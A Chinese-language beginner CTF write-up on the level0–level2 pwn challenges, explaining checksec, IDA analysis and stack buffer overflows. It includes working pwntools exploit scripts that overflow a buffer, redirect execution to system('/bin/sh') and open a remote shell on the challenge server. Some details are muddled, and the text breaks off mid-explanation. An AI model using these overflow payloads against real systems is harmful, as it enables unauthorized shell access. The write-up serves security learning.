关于pwn的基础知识,可以看一遍比较好的博客,如下:
链接:https://www.jianshu.com/p/6e528b33e37a
pwntools使用简介:
链接:https://blog.csdn.net/qq_29343201/article/details/51337025
PWN-shellcode获取与编写:
链接:https://blog.csdn.net/qq_35495684/article/details/79583232
做pwn的题目常见工具有:IDAx32位,IDAx64位,乌班图(ubuntu)虚拟机;详细安装请看我上篇博客:
攻防世界pwn的level0的基础题:
下载好题目的附件后,把附件直接放进乌班图虚拟机内:
然后打开虚拟机终端,查看文件的内容:
cd命令:切换目录
checksec:查看文件
cat命令查看文件列表
发现level0的有用信息:
(1)Arch设置架构为amd64,可以简单的认为设置为64位的模式
,而32位模式是’i386’。
(2):开启了NX保护,NX(DEP)即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。
什么是shellcode?
shellcode就是一段二进制代码,程序中最进本单元,我们一般无法手动写出,通常是通过编写c语言代码进行编译,然后反汇编后拿到二进制代码。在pwntools中已经包含了可以生成shellcode代码的方法,大大缩减了我们的工作量
因此我们去打开IDAx64位,把文件放进IDA中,进行静态分析;
(3)这个程序流程很简单,用ida分析就两个主要的函数:
main:
vulnerable_function:
可以看到在vulnerable_function中泄漏了buf的内存,用checksec可以发现这个程序编译时开启栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的栈上地址,实现一次较简单的栈溢出攻击。(可以在传入buf 时覆盖栈的函数返回地址,即可以返回system函数的地址再给system传入参数"/bin/sh" 就可以进入服务器的终端得到flag)
(4)
把文件放进IDA里面后先按F5找到题目的伪代码:
(5)先去Funttion name找到system函数(为什么呢?因为level题目主要是构建system函数,找到/bin/sh终端(就是为了建立后门,然后返回shell)
有system(“/bin/sh”)函数,然后去找栈溢出的函数;
(6):找到溢出的函数后,然后在ida中寻找字符串(string)(目的:找到"/bin/sh"的覆盖地址(看脚本))。
(7) 其实做pwn的题目主要的是要学会分析和写出脚本!!!
level1脚本如下:
from pwn import *
s_addr=0x0000000000400596
p=remote(“pwn2.jarvisoj.com”,9881)
p.recvline()
p.sendline(“A”*0x80+‘A’*8+p64(s_addr))
p.interactive()
分析!:
(1):“from pwn import *”#导入pwntools中pwn包中所有的内容
(2):“p=remote(“pwn2.jarvisoj.com”,9881)”#连接服务器远程交互,等同于nc ip 端口 命令,,括号内容为题目的网址和端口。
(3):“recvline” #接收输出
(5)“s_addr=0x0000000000400596” 的地址为callsystem的地址:
如何找到指定函数的地址?按F5反编译之后然后按空格进入函数与地址的结构页面(synchronized with HexView-1)然后在Function name 找到指定函数即地址:
(6):“p.sendline(“A”*0x80+‘A’*8+p64(s_addr))”发送用0x88个无用字符覆盖buf和push中的内容,之后再返回地址。
(7):"p.interactive()"反弹shell进行交互
png栈的图:
如何得到flag?
把脚本新建成一个以“.py”为后缀的Python文件,然后放进Ubuntu虚拟机内进行运行:
攻防世界pwn的level1的基础题:
level1h和level0的解题思路大致相同:不过level1的Arch设置架构为amd64,我们需要打开IDAx32位的,如图:
攻防世界pwn的level2的基础题:
level2的运行脚本:
from pwn import *
#p = process(’./level2’)
p = remote(‘pwn2.jarvisoj.com’,‘9878’)
elf = ELF(’./level2’)
sh_addr = elf.search(’/bin/sh’).next()
print p32(sh_addr)
system_addr = elf.symbols[‘system’]
print p32(system_addr)
exit_addr = elf.symbols[‘read’]
print p32(exit_addr)
payload = ‘a’ * (0x88 + 0x4) + p32(system_addr) + p32(exit_addr) + p32(sh_addr)
p.send(payload)
p.interactive()
分析脚本:
有些指令和上面重复就不多讲啦,选一些重要的讲:
(1)elf = ELF(’./level2’) #ELF文件格式读取level2文件
(2)“sh_addr = elf.search(’/bin/sh’).next()” #